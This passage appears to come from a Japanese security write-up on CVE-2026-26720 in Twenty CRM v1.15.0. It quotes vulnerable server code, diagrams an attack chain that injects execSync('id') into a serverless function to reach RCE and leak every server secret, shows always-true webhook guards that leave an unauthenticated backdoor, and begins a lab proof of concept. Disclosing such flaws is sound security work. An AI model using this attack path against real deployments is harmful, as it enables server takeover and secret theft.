&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// packages/twenty-server/src/engine/metadata-modules/serverless-function/serverless-function.resolver.ts&lt;/span&gt;

&lt;span class="kd"&gt;@Mutation&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ServerlessFunctionDTO&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="kd"&gt;@UseGuards&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;SettingsPermissionGuard&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;PermissionFlagType&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;WORKFLOWS&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="k"&gt;async&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;updateOneServerlessFunction&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;@Args&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'input'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;input&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;UpdateServerlessFunctionInput&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;@AuthWorkspace&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;workspaceId&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;WorkspaceEntity&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;serverlessFunctionService&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;updateOneServerlessFunction&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;input&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;// &amp;lt;-- attacker-controlled code, no validation&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;workspaceId&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;ガードは&lt;code&gt;SettingsPermissionGuard(PermissionFlagType.WORKFLOWS)&lt;/code&gt;です。WORKFLOWS権限（デフォルトで全メンバーに付与されています）を持つ任意のワークスペースメンバーが、サーバー上で任意のコードを作成・実行できます。AST解析も、危険なモジュール（&lt;code&gt;child_process&lt;/code&gt;、&lt;code&gt;fs&lt;/code&gt;、&lt;code&gt;net&lt;/code&gt;、&lt;code&gt;os&lt;/code&gt;）のブロックリストも、コンテンツセキュリティ上の制限もありません。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;環境変数の漏えい経路&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;Authenticated&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;user&lt;/span&gt;
&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;createOneServerlessFunction&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;GraphQL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mutation&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;updateOneServerlessFunction&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;inject&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;code&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;execSync&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ss"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;executeOneServerlessFunction&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;GraphQL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mutation&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;serverlessFunctionService&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;LocalDriver&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;LocalDriver&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;runChildWithEnv&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;spawn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;execPath&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;runnerPath&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;env&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="n"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;env&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;}&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;User&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;code&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;runs&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;with&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;ALL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;secrets&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;env&lt;/span&gt;
&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;RCE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;full&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;secret&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;exfiltration&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2 id="脆弱性 #2:webhookエンドポイントを介した恒久的な未認証バックドア"&gt;脆弱性 #2：Webhookエンドポイントを介した恒久的な未認証バックドア&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;侵入口 &amp;mdash; どの層にも認証がない&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Webhookトリガーのコントローラーは、認証を一切行わずにワークフローの実行をインターネットに公開しています。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// packages/twenty-server/src/engine/core-modules/workflow/controllers/workflow-trigger.controller.ts&lt;/span&gt;

&lt;span class="kd"&gt;@Controller&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'webhooks'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;class&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;WorkflowTriggerController&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;@Post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'workflows/:workspaceId/:workflowId'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;@UseGuards&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;PublicEndpointGuard&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;NoPermissionGuard&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// NO AUTH&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;async&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;runWorkflowByPostRequest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;@Param&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'workspaceId'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;workspaceId&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;@Param&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'workflowId'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;workflowId&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;@Req&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;Request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;runWorkflow&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nx"&gt;workflowId&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nx"&gt;payload&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;request.body&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{},&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nx"&gt;workspaceId&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;どちらのガードも無条件に&lt;code&gt;true&lt;/code&gt;を返します。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// packages/twenty-server/src/engine/guards/public-endpoint.guard.ts&lt;/span&gt;

&lt;span class="kd"&gt;@Injectable&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;class&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;PublicEndpointGuard&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;implements&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;CanActivate&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;canActivate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;_context&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;ExecutionContext&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;boolean&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// Always allow access&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// packages/twenty-server/src/engine/guards/no-permission.guard.ts&lt;/span&gt;

&lt;span class="kd"&gt;@Injectable&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;class&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;NoPermissionGuard&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;implements&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;CanActivate&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;canActivate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;_context&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;ExecutionContext&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;boolean&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// No permission checks&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;トークンも、署名も、IP許可リストも、Webhookエンドポイントへのレート制限もありません。認証済みユーザーが、悪意のあるサーバーレス関数を指すWebhook起動のワークフローをいったん作成すると、生成されるURLは恒久的な未認証RCEエンドポイントになります。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;POST /webhooks/workflows/&amp;lt;workspaceId&amp;gt;/&amp;lt;workflowId&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;追加の未認証ベクター：RouteTriggerController&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;2つ目の未認証コントローラーが、同じリスク面を露呈しています。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// packages/twenty-server/src/engine/metadata-modules/route-trigger/route-trigger.controller.ts&lt;/span&gt;

&lt;span class="kd"&gt;@Controller&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'s'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="kd"&gt;@UseGuards&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;PublicEndpointGuard&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;NoPermissionGuard&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// NO AUTH on entire controller&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;class&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;RouteTriggerController&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;@Post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'*path'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;async&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;@Req&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;Request&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;routeTriggerService&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;handle&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;httpMethod&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;HTTPMethod.POST&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code&gt;isAuthRequired: false&lt;/code&gt;のRouteTriggerが存在する場合、&lt;code&gt;/s/&amp;lt;path&amp;gt;&lt;/code&gt;への任意のHTTPリクエストが、認証を一切行わずに、リンクされたサーバーレス関数を直接実行します。&lt;/p&gt;
&lt;h2 id="cve-2026-26720の概念実証(poc):完全なリモートコード実行"&gt;CVE-2026-26720の概念実証（PoC）：完全なリモートコード実行&lt;/h2&gt;
&lt;p&gt;攻撃チェーンの全体（認証済みのワークスペースメンバーから、完全なサーバー侵害と恒久的な未認証バックドアまで）は、7回のHTTPリクエストを必要とします。すべてのステップは、制御されたラボ環境でTwenty CRM v1.15.0に対して確認されました。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ラボのセットアップ&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Twenty CRM v1.15.0をデフォルト構成でローカルに実行します。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;docker&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;compose&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;equivalent&lt;/span&gt;
&lt;span class="nl"&gt;services&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;twenty&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nl"&gt;server&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nc"&gt;image&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;twentycrm&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nl"&gt;twenty&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;v1&lt;/span&gt;&lt;span class="mf"&gt;.15.0&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nl"&gt;ports&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;"3000:3000"&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;API&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;"3001:3001"&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Frontend&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nl"&gt;environment&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nl"&gt;APP_SECRET&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;"replace_me_with_a_random_string"&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nl"&gt;PG_DATABASE_URL&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;"postgres://postgres:postgres@localhost:5432/default"&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nl"&gt;REDIS_URL&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;"redis://localhost:6379"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;前提条件&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;有効なワークスペースメンバーのアカウント。Twenty Cloudでは、これは任意の登録済みユーザーです。セルフホストでは、招待された任意のメンバーです。以下で使用するJWTトークンは、ワークスペース&lt;code&gt;2782b9df-...&lt;/code&gt;のユーザー&lt;code&gt;tim@apple.dev&lt;/code&gt;に属するものです。&lt;/p&gt;
